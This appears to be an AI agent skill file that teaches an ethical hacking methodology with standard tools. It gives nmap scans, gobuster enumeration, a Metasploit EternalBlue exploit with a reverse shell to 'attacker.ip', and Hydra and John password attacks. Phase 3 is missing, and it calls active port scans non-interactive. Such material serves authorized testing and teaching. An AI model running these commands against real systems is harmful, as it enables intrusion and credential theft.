This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.
AUTHORIZED USE ONLY: Use this skill only for authorized penetration testing engagements, defensive validation, or controlled educational environments.
Ethical Hacking Methodology
Purpose
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
Prerequisites
Required Environment
Kali Linux installed (persistent or live)
Network access to authorized targets
Written authorization from system owner
Required Knowledge
Basic networking concepts
Linux command-line proficiency
Understanding of web technologies
Familiarity with security concepts
Outputs and Deliverables
Reconnaissance Report - Target information gathered
Vulnerability Assessment - Identified weaknesses
Exploitation Evidence - Proof of concept attacks
Final Report - Executive and technical findings
Core Workflow
Phase 1: Understanding Hacker Types
Classification of security professionals:
White Hat Hackers (Ethical Hackers)
Authorized security professionals
Conduct penetration testing with permission
Goal: Identify and fix vulnerabilities
Also known as: penetration testers, security consultants
Black Hat Hackers (Malicious)
Unauthorized system intrusions
Motivated by profit, revenge, or notoriety
Goal: Steal data, cause damage
Also known as: crackers, criminal hackers
Grey Hat Hackers (Hybrid)
May cross ethical boundaries
Not malicious but may break rules
Often disclose vulnerabilities publicly
Mixed motivations
Other Classifications
Script Kiddies: Use pre-made tools without understanding
Hacktivists: Politically or socially motivated
Nation State: Government-sponsored operatives
Coders: Develop tools and exploits
Phase 2: Reconnaissance
Gather information without direct system interaction:
# TCP SYN scan (stealth)
nmap -sS target.com
# Full TCP connect scan
nmap -sT target.com
# UDP scan
nmap -sU target.com
# All ports scan
nmap -p- target.com
# Top 1000 ports with service detection
nmap -sV target.com
# Aggressive scan (OS, version, scripts)
nmap -A target.com
Service Enumeration
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
# Vulnerability scanning
nmap --script=vuln target.com
Common Port Reference
Port
Service
Notes
21
FTP
File transfer
22
SSH
Secure shell
23
Telnet
Unencrypted remote
25
SMTP
Email
53
DNS
Name resolution
80
HTTP
Web
443
HTTPS
Secure web
445
SMB
Windows shares
3306
MySQL
Database
3389
RDP
Remote desktop
Phase 4: Vulnerability Analysis
Identify exploitable weaknesses:
Automated Scanning
# Nikto web scanner
nikto -h http://target.com
# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"
# Nessus (via API)
nessuscli scan --target target.com
Web Application Testing (OWASP)
SQL Injection
Cross-Site Scripting (XSS)
Broken Authentication
Security Misconfiguration
Sensitive Data Exposure
XML External Entities (XXE)
Broken Access Control
Insecure Deserialization
Using Components with Known Vulnerabilities
Insufficient Logging & Monitoring
Manual Techniques
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Web technology fingerprinting
whatweb target.com
Phase 5: Exploitation
Actively exploit discovered vulnerabilities:
Metasploit Framework
# Start Metasploit
msfconsole
# Search for exploits
msf> search type:exploit name:smb
# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue
# Set target
msf> set RHOSTS target.com
# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
# Execute
msf> exploit
Password Attacks
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
